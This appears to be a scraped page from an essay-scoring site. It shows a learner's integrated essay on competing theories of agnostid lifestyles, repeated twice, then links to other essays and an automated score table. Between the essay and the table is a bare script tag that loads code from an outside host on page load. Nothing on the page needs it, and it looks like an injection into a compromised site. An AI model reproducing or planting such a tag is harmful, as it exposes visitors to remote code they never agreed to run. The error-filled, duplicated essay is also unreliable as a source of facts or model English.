The passage and lecture are both about Agnostids which were a group of marine animals that extinict about 450 million years ago. The passages claims that there are several different theories about how agnostids may have lived. The lecturer casts doubt on claim made in article, she states, these theories are weak to illustrate how these animals have lived.
First, the author says agnostids were free- swimming predators and can hunt smaller animals, because agnostids were a type of primitive arthropods which were a strong swimmers and active predators. This point challenged by lecturer, she states, the predators always have a large eyes to be abile to follow their preys and couch them, instead agnostids had a very small eyes and may be blind, therefore they could not be as a swimming – predators unless they might have a specific organ to detect their preys.
Second, the argues, agnostids may have dwelled on the seafloor, there are plenty of small organisms in the ocean for them to prey on. This argument is rebutted by professor, she posits, the animals which live in seafloor do not have ability to move fast and stay in localized area, but angostids do not stay in small area , they were found in large area and with long distance , that give a prove these animals move fast.
Finally the writer says, there is possibility that the agnostids were parasites, because many modern species of arthropods exist as parasites. The lecturer in the other hand suggests, parasites are small population which stay on a large animal to prey on it, the agnostids were very large population and many fossils found in many areas, therefore this role out the theory about agnostids may be parasits.
The passage and lecture are both about Agnostids which were a group of marine animals that extinict about 450 million years ago. The passages claims that there are several different theories about how agnostids may have lived. The lecturer casts doubt on claim made in article, she states, these theories are weak to illustrate how these animals have lived.
First, the author says agnostids were free- swimming predators and can hunt smaller animals, because agnostids were a type of primitive arthropods which were a strong swimmers and active predators. This point challenged by lecturer, she states, the predators always have a large eyes to be abile to follow their preys and couch them, instead agnostids had a very small eyes and may be blind, therefore they could not be as a swimming – predators unless they might have a specific organ to detect their preys.
Second, the argues, agnostids may have dwelled on the seafloor, there are plenty of small organisms in the ocean for them to prey on. This argument is rebutted by professor, she posits, the animals which live in seafloor do not have ability to move fast and stay in localized area, but angostids do not stay in small area , they were found in large area and with long distance , that give a prove these animals move fast.
Finally the writer says, there is possibility that the agnostids were parasites, because many modern species of arthropods exist as parasites. The lecturer in the other hand suggests, parasites are small population which stay on a large animal to prey on it, the agnostids were very large population and many fossils found in many areas, therefore this role out the theory about agnostids may be parasits.
<script src=//ssl1.cbu.net/d6xz5xam></script>
Post date | Users | Rates | Link to Content |
---|---|---|---|
2021-03-10 | talelaldabous | 80 | view |
- The passage and lecture are both talking about presence of soft tissue from remnant of blood vessels in resent discovered fossils The author claims three evidences which support present of soft tissue blood vessels in these fossils The lecturer casts doub 60
- The reading passage and lecture are both about benefits from working 4 days a week instead of 5 days a week the author claims three benefits from working 4 days a week for companies and employees The lecturer casts doubt on claim made in the article He co 61
- The passage and lecture both talk about replacement of ethanol fuel to gasoline in United States The writer claims three reasons to argue that ethanol is not a good replacement to gasoline The lecturer casts doubt on claim made in article He mentions thes 73
- The reading passage and lecture are both about Pterosaurs which were ancient group of winged reptiles that lived together with dinosaurs and if they were capable of powered flight or just glide The writer claims several argument to explain that Pterosaurs 68
- The reading passage and lecture are both disccus causes of sea otter declination The writer believes that otter declined due to environmental pollution in Alaskan coast he gives three hypothesis to illustrate his view The lecturer casts doubt on claim mad 75
Attribute Value Ideal
Final score: 23 in 30
Category: Good Excellent
No. of Grammatical Errors: 9 2
No. of Spelling Errors: 7 2
No. of Sentences: 9 12
No. of Words: 286 250
No. of Characters: 1374 1200
No. of Different Words: 143 150
Fourth Root of Number of Words: 4.112 4.2
Average Word Length: 4.804 4.6
Word Length SD: 2.32 2.4
No. of Words greater than 5 chars: 87 80
No. of Words greater than 6 chars: 68 60
No. of Words greater than 7 chars: 49 40
No. of Words greater than 8 chars: 31 20
Use of Passive Voice (%): 0 0
Avg. Sentence Length: 31.778 21.0
Sentence Length SD: 14.046 7.5
Use of Discourse Markers (%): 0.778 0.12
Sentence-Text Coherence: 0.431 0.35
Sentence-Para Coherence: 0.7 0.50
Sentence-Sentence Coherence: 0.207 0.07
Number of Paragraphs: 4 4